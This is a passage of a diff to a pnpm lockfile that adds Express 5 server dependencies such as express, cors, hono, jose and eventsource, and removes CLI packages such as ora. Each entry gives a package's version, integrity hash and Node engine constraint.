sha512-ouuZd4/dm2Sw5Gmqy6bGyNNNe1qt9RpmxveLSO7KcgsTnU7RXfsw+/bukWGo1abgBiMAic068rclZsO4IWmmxQ==} engines: {node: '>= 12'} - clone@1.0.4: - resolution: {integrity: sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg==} - engines: {node: '>=0.8'} - - color-convert@2.0.1: - resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} - engines: {node: '>=7.0.0'} - - color-name@1.1.4: - resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} - comma-separated-tokens@2.0.3: resolution: {integrity: sha512-Fu4hJdvzeylCfQPp9SGWidpzrMs7tTrlu6Vb8XGaRGck8QSNZJJp538Wrb60Lax4fPwR64ViY468OIUTbRlGZg==} @@ -2084,13 +2080,37 @@ packages: resolution: {integrity: sha512-2JkV3gUZUVrbNA+1sjBOYLsMZ5cEEl8GTFP2a4AVz5hvasAMCQ1D2l2le/cX+pV4N6ZU17zjUahLpIXRrnWL8A==} engines: {node: '>=20'} + content-disposition@1.1.0: + resolution: {integrity: sha512-5jRCH9Z/+DRP7rkvY83B+yGIGX96OYdJmzngqnw2SBSxqCFPd0w2km3s5iawpGX8krnwSGmF0FW5Nhr0Hfai3g==} + engines: {node: '>=18'} + + content-type@1.0.5: + resolution: {integrity: sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==} + engines: {node: '>= 0.6'} + + content-type@2.1.0: + resolution: {integrity: sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag==} + engines: {node: '>=18'} + convert-source-map@2.0.0: resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==} + cookie-signature@1.2.2: + resolution: {integrity: sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==} + engines: {node: '>=6.6.0'} + + cookie@0.7.2: + resolution: {integrity: sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==} + engines: {node: '>= 0.6'} + copy-anything@4.0.5: resolution: {integrity: sha512-7Vv6asjS4gMOuILabD3l739tsaxFQmC+a7pLZm02zyvs8p977bL3zEgq3yDk5rn9B0PbYgIv++jmHcuUab4RhA==} engines: {node: '>=18'} + cors@2.8.6: + resolution: {integrity: sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw==} + engines: {node: '>= 0.10'} + cross-spawn@7.0.6: resolution: {integrity: sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==} engines: {node: '>= 8'} @@ -2110,12 +2130,13 @@ packages: deep-is@0.1.4: resolution: {integrity: sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==} - defaults@1.0.4: - resolution: {integrity: sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A==} - defu@6.1.7: resolution: {integrity: sha512-7z22QmUWiQ/2d0KkdYmANbRUVABpZ9SNYyH5vx6PZ+nE5bcC0l7uFvEfHlyld/HcGBFTL536ClDt3DEcSlEJAQ==} + depd@2.0.0: + resolution: {integrity: sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==} + engines: {node: '>= 0.8'} + dequal@2.0.3: resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==} engines: {node: '>=6'} @@ -2140,6 +2161,13 @@ packages: oxc-resolver: optional: true + dunder-proto@1.0.1: + resolution: {integrity: sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==} + engines: {node: '>= 0.4'} + + ee-first@1.1.1: + resolution: {integrity: sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==} + emoji-regex-xs@1.0.0: resolution: {integrity: sha512-LRlerrMYoIDrT6jgpeZ2YYl/L8EulRTt5hQcYjy5AInh7HWXKimpqx68aknBFpGL2+/IcogTcaydJEgaTmOpDg==} @@ -2147,6 +2175,10 @@ packages: resolution: {integrity: sha512-YGRs8knHhKHVShLkFET/rWAU8kmHbOV5LwN938RHI0pljAJ1Gf6SzXsSmRaEzcXTtOOmVqJ5+WtQPL5uigY50Q==} engines: {node: '>=14'} + encodeurl@2.0.0: + resolution: {integrity: sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==} + engines: {node: '>= 0.8'} + enquirer@2.4.1: resolution: {integrity: sha512-rRqJg/6gd538VHvR3PSrdRBb/1Vy2YfzHqzvbhGIQpDRKIa4FgV/54b5Q1xYSxOOwKvjXweS26E0Q+nAMwp2pQ==} engines: {node: '>=8.6'} @@ -2159,9 +2191,21 @@ packages: resolution: {integrity: sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA==} engines: {node: '>=0.12'} + es-define-property@1.0.1: + resolution: {integrity: sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==} + engines: {node: '>= 0.4'} + + es-errors@1.3.0: + resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==} + engines: {node: '>= 0.4'} + es-module-lexer@2.3.1: resolution: {integrity: sha512-shc1dbU90Yl/xq1QrC7QRtfcwURZuVRfPhZbDoldJ1cn1gzDvBaBWlv0eFolj5+0znnPJz5TXLxsN77X/12KTA==} + es-object-atoms@1.1.2: + resolution: {integrity: sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==} + engines: {node: '>= 0.4'} + esbuild@0.21.5: resolution: {integrity: sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==} engines: {node: '>=12'} @@ -2172,6 +2216,9 @@ packages: engines: {node: '>=18'} hasBin: true + escape-html@1.0.3: + resolution: {integrity: sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==} + escape-string-regexp@4.0.0: resolution: {integrity: sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==} engines: {node: '>=10'} @@ -2237,10 +2284,32 @@ packages: resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==} engines: {node: '>=0.10.0'} + etag@1.8.1: + resolution: {integrity: sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==} + engines: {node: '>= 0.6'} + + eventsource-parser@3.1.1: + resolution: {integrity: sha512-EKN1vKAMcZ8MlYMpaNuxN6R9yakzH6uajHcHVTqWJzvu5pWw9DyhbP35HH8MVBQ+dZjAfDxk+A8NiR9KWaXiyQ==} + engines: {node: '>=18.0.0'} + + eventsource@3.0.7: + resolution: {integrity: sha512-CRT1WTyuQoD771GW56XEZFQ/ZoSfWid1alKGDYMmkt2yl8UXrVR4pspqWNEcqKvVIzg6PAltWjxcSSPrboA4iA==} + engines: {node: '>=18.0.0'} + expect-type@1.4.0: resolution: {integrity: sha512-KfYbmpRm0VbLjEvVa9yGwCi9GI34xvi7A/HXYWQO65CSD2u3MczUJSuwXKFIxlGsgBQizV9q5J9NHj4VG0n+pA==} engines: {node: '>=12.0.0'} + express-rate-limit@8.6.2: + resolution: {integrity: sha512-YH4ru+eOJxQABscKFfRCy9R7x9QFGdezclVMwwgFFndzS2Xnm0uo6B0ABZsLhcpeptGv2qvuJVWlQr9gQZoC3A==} + engines: {node: '>= 16'} + peerDependencies: + express: '>= 4.11' + + express@5.2.1: + resolution: {integrity: sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw==} + engines: {node: '>= 18'} + extend-shallow@2.0.1: resolution: {integrity: sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==} engines: {node: '>=0.10.0'} @@ -2267,6 +2336,9 @@ packages: fast-string-width@3.0.2: resolution: {integrity: sha512-gX8LrtNEI5hq8DVUfRQMbr5lpaS4nMIWV+7XEbXk2b8kiQIizgnlr12B4dA3ZEx3308ze0O4Q1R+cHts8kyUJg==} + fast-uri@3.1.5: + resolution: {integrity: sha512-gHwA1O9LDIcKunMKhObS/HimwtehO1nPUECKAu5TpKgaO19fcWEl4bliWe1jWxVFvIXztJjjQ4L8XQ1EU9f7Jw==} + fast-wrap-ansi@0.2.2: resolution: {integrity: sha512-7F2Fl+TjRSenLqlU3UjSH0iyqopqoZIu7eZVpEirP2g1GtWa2G/ecEmBdgz31+Mxr+ELclgg6sokpSFIQiZ02Q==} @@ -2293,6 +2365,10 @@ packages: resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==} engines: {node: '>=8'} + finalhandler@2.1.1: + resolution: {integrity: sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA==} + engines: {node: '>= 18.0.0'} + find-up@4.1.0: resolution: {integrity: sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==} engines: {node: '>=8'} @@ -2311,6 +2387,14 @@ packages: focus-trap@7.8.0: resolution: {integrity: sha512-/yNdlIkpWbM0ptxno3ONTuf+2g318kh2ez3KSeZN5dZ8YC6AAmgeWz+GasYYiBJPFaYcSAPeu4GfhUaChzIJXA==} + forwarded@0.2.0: + resolution: {integrity: sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==} + engines: {node: '>= 0.6'} + + fresh@2.0.0: + resolution: {integrity: sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A==} + engines: {node: '>= 0.8'} + fs-extra@7.0.1: resolution: {integrity: sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==} engines: {node: '>=6 <7 || >=8'} @@ -2324,6 +2408,17 @@ packages: engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} os: [darwin] + function-bind@1.1.2: + resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==} + + get-intrinsic@1.3.0: + resolution: {integrity: sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==} + engines: {node: '>= 0.4'} + + get-proto@1.0.1: + resolution: {integrity: sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==} + engines: {node: '>= 0.4'} + get-tsconfig@5.0.0-beta.5: resolution: {integrity: sha512-/6gFNr0N04nob252sTQxyFLi3eKFRqIg1I87YcqAMT1i6SQrSF6KujUEQrtrjMV0H/eejTCltLdDSTEMzHbnsQ==} engines: {node: '>=20.20.0'} @@ -2336,14 +2431,14 @@ packages: resolution: {integrity: sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==} engines: {node: '>=10.13.0'} - glob@13.0.6: - resolution: {integrity: sha512-Wjlyrolmm8uDpm/ogGyXZXb1Z+Ca2B8NbJwqBVg0axK9GbBeoS7yGV6vjXnYdGm6X53iehEuxxbyiKp8QmN4Vw==} - engines: {node: 18 || 20 || >=22} - globby@11.1.0: resolution: {integrity: sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==} engines: {node: '>=10'} + gopd@1.2.0: + resolution: {integrity: sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==} + engines: {node: '>= 0.4'} + graceful-fs@4.2.11: resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} @@ -2351,9 +2446,13 @@ packages: resolution: {integrity: sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q==} engines: {node: '>=6.0'} - has-flag@4.0.0: - resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} - engines: {node: '>=8'} + has-symbols@1.1.0: + resolution: {integrity: sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==} + engines: {node: '>= 0.4'} + + hasown@2.0.4: + resolution: {integrity: sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==} + engines: {node: '>= 0.4'} hast-util-to-html@9.0.5: resolution: {integrity: sha512-OguPdidb+fbHQSU4Q4ZiLKnzWo8Wwsf5bZfbvu7//a9oTYoqD/fWpe96NuHkoS9h0ccGOTe0C4NGXdtS0iObOw==} @@ -2361,6 +2460,10 @@ packages: hast-util-whitespace@3.0.0: resolution: {integrity: sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw==} + hono@4.13.2: + resolution: {integrity: sha512-JydRilDRkYBQMt9qR9U92mXxmbGqsqSn/IKOrh4e7/gEbn+0zSr8igTu0obwJoNGN4sez28DIql7FBHWydoJpA==} + engines: {node: '>=16.9.0'} + hookable@5.5.3: resolution: {integrity: sha512-Yc+BQe8SvoXH1643Qez1zqLRmbA5rCL+sSmk6TVos0LWVfNIB7PGncdlId77WzLGSIB5KaWgTaNTs2lNVEI6VQ==} @@ -2370,6 +2473,10 @@ packages: html-void-elements@3.0.0: resolution: {integrity: sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==} + http-errors@2.0.1: + resolution: {integrity: sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==} + engines: {node: '>= 0.8'} + human-id@4.2.0: resolution: {integrity: sha512-K3GbkIWqyvvlpfhBPlbEvD97TtqBpAYA4kt+cn2lD2x2HuohzZCibcA2nOlnJT6exqvJLggoB5nv2dNf192nEA==} hasBin: true @@ -2383,9 +2490,6 @@ packages: resolution: {integrity: sha512-IKXpvIzjnC9XTAUbVBcMfGS0EPaIXtW6v+zr+RRp+hqULEpo0owZax6wyRwPOJbWbzjYspQwusTsfVr0ifh4uQ==} engines: {node: '>=0.10.0'} - ieee754@1.2.1: - resolution: {integrity: sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==} - ignore@5.3.2: resolution: {integrity: sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==} engines: {node: '>= 4'} @@ -2410,6 +2514,14 @@ packages: inherits@2.0.4: resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==} + ip-address@10.5.0: + resolution: {integrity: sha512-R5SnVLJmgYYvf2F2ZgwSBnelz5G4q5AxIC277GDfUaNbrZKNANcBC7RHqYYePlszf4kBolVkJauG0ZjHHFh55g==} + engines: {node: '>= 12'} + + ipaddr.js@1.9.1: + resolution: {integrity: sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==} + engines: {node: '>= 0.10'} + is-extendable@0.1.1: resolution: {integrity: sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==} engines: {node: '>=0.10.0'} @@ -2422,22 +2534,17 @@ packages: resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} engines: {node: '>=0.10.0'} - is-interactive@1.0.0: - resolution: {integrity: sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==} - engines: {node: '>=8'} - is-number@7.0.0: resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} engines: {node: '>=0.12.0'} + is-promise@4.0.0: + resolution: {integrity: sha512-hvpoI6korhJMnej285dSg6nu1+e6uxs7zG3BYAm5byqDsgJNWwxzM6z6iZiAgQR4TJ30JmBTOwqZUw3WlyH3AQ==} + is-subdir@1.2.0: resolution: {integrity: sha512-2AT6j+gXe/1ueqbW6fLZJiIw3F8iXGJtt0yDrZaBhAZEG1raiTxKWU+IPqMCzQAXOUCKdA4UDMgacKH25XG2Cw==} engines: {node: '>=4'} - is-unicode-supported@0.1.0: - resolution: {integrity: sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==} - engines: {node: '>=10'} - is-what@5.5.0: resolution: {integrity: sha512-oG7cgbmg5kLYae2N5IVd3jm2s+vldjxJzK1pcu9LfpGuQ93MQSzo0okvRna+7y5ifrD+20FE8FvjusyGaz14fw==} engines: {node: '>=18'} @@ -2453,6 +2560,9 @@ packages: resolution: {integrity: sha512-AC/7JofJvZGrrneWNaEnJeOLUx+JlGt7tNa0wZiRPT4MY1wmfKjt2+6O2p2uz2+skll8OZZmJMNqeke7kKbNgQ==} hasBin: true + jose@6.2.9: + resolution: {integrity: sha512-XrchZOFZUl/T3vTwRe8XK+cJrGtMF4th1ARnDfwbBXFKThGhlsxEE4Zu03AD/bjJSt/9jT/mxrOCkJWOg77aPA==} + js-yaml@3.15.0: resolution: {integrity: sha512-ttBQIIQPDeLjpPOohtUdXuXUVoA2uIB6fEH9HyJ7234s5mBJ5wTx20njxplLZQgLaOfpmPQA7X2t5AX6tIPbog==} hasBin: true @@ -2467,6 +2577,12 @@ packages: json-schema-traverse@0.4.1: resolution: {integrity: sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==} + json-schema-traverse@1.0.0: + resolution: {integrity: sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==} + + json-schema-typed@8.0.2: + resolution: {integrity: sha512-fQhoXdcvc3V28x7C7BMs4P5+kNlgUURe2jmUT1T//oBRMDrqy1QPelJimwZGo7Hg9VPV3EQV5Bnq4hbFy2vetA==} + json-stable-stringify-without-jsonify@1.0.1: resolution: {integrity: sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==} @@ -2503,10 +2619,6 @@ packages: lodash.startcase@4.4.0: resolution: {integrity: sha512-+WKqsK294HMSc2jEbNgpHpd0JfIBhp7rEV4aqXWqFr6AlXov+SlcgB1Fv01y2kGe3Gc8nMW7VA0SrGuSkRfIEg==} - log-symbols@4.1.0: - resolution: {integrity: sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==} - engines: {node: '>=10'} - lru-cache@11.5.2: resolution: {integrity: sha512-4pfM1Ff0x50o0tQwb5ucw/RzNyD0/YJME6IVcStalZuMWxdt3sR3huStTtxz4PUmvZfRguvDejasvQ2kifR11g==} engines: {node: 20 || >=22} @@ -2524,12 +2636,24 @@ packages: resolution: {integrity: sha512-RCEsPjR+sr0x+AuYp601tKTkgFG4YEPLCzHST3cQ/fhlJkqAkz1L2/Qbp1j9qw5SBwQHFBoW8+hoN5xssOF0Tw==} hasBin: true + math-intrinsics@1.1.0: + resolution: {integrity: sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==} + engines: {node: '>= 0.4'} + mdast-util-to-hast@13.2.1: resolution: {integrity: sha512-cctsq2wp5vTsLIcaymblUriiTcZd0CwWtCbLvrOzYCDZoWyMNV8sZ7krj09FSnsiJi3WVsHLM4k6Dq/yaPyCXA==} mdurl@2.1.0: resolution: {integrity: sha512-1+HBaOx0zi/dQWht8rNv9MYf9qqpqL/kxI0hXImU6Y547zM6Sni8BQibt7ifgMcYtQg41ao3Ivd6cnSM86inpg==} + media-typer@1.1.1: + resolution: {integrity: sha512-yz3xRaG20c6/BOzvYoDaGtPmGscs7YivItZEEqe6GbwNfHuxu9YNmvnEkMzKldAGY4/80pRcQRZSEnhquk9XuQ==} + engines: {node: '>= 0.8'} + + merge-descriptors@2.0.0: + resolution: {integrity: sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g==} + engines: {node: '>=18'} + merge2@1.4.1: resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==} engines: {node: '>= 8'} @@ -2553,18 +2677,18 @@ packages: resolution: {integrity: sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==} engines: {node: '>=8.6'} - mimic-fn@2.1.0: - resolution: {integrity: sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==} - engines: {node: '>=6'} + mime-db@1.54.0: + resolution: {integrity: sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==} + engines: {node: '>= 0.6'} + + mime-types@3.0.2: + resolution: {integrity: sha512-Lbgzdk0h4juoQ9fCKXW4by0UJqj+nOOrI9MJ1sSj4nI8aI2eo1qmvQEie4VD1glsS250n15LsWsYtCugiStS5A==} + engines: {node: '>=18'} minimatch@10.2.6: resolution: {integrity: sha512-vpLQEs+VLCr1nU0BXS07maYoFwlDAH0gngQuuttxIwutDFEMHq2blX+8vpgxDdK3J1PwjCJiep77OitTZ4Ll1A==} engines: {node: 18 || 20 || >=22} - minipass@7.1.3: - resolution: {integrity: sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==} - engines: {node: '>=16 || 14 >=14.17'} - minisearch@7.2.0: resolution: {integrity: sha512-dqT2XBYUOZOiC5t2HRnwADjhNS2cecp9u+TJRiJ1Qp/f5qjkeT5APcGPjHw+bz89Ms8Jp+cG4AlE+QZ/QnDglg==} @@ -2590,13 +2714,28 @@ packages: natural-compare@1.4.0: resolution: {integrity: sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==} + negotiator@1.0.0: + resolution: {integrity: sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg==} + engines: {node: '>= 0.6'} + + object-assign@4.1.1: + resolution: {integrity: sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==} + engines: {node: '>=0.10.0'} + + object-inspect@1.13.4: + resolution: {integrity: sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==} + engines: {node: '>= 0.4'} + obug@2.1.4: resolution: {integrity: sha512-4a+OsYv9UktOJKE+l1A4OufDgdRF9PifWj+tJnHURo/P+WOxpG4GzUFL9qCalmWauao6ogiG+QvnCovwPoyAWA==} engines: {node: '>=12.20.0'} - onetime@5.1.2: - resolution: {integrity: sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==} - engines: {node: '>=6'} + on-finished@2.4.1: + resolution: {integrity: sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==} + engines: {node: '>= 0.8'} + + once@1.4.0: + resolution: {integrity: sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==} oniguruma-to-es@3.1.1: resolution: {integrity: sha512-bUH8SDvPkH3ho3dvwJwfonjlQ4R80vjyvrU8YpxuROddv55vAEJrTuCuCVUhhsHbtlD9tGGbaNApGQckXhS8iQ==} @@ -2605,10 +2744,6 @@ packages: resolution: {integrity: sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==} engines: {node: '>= 0.8.0'} - ora@5.4.1: - resolution: {integrity: 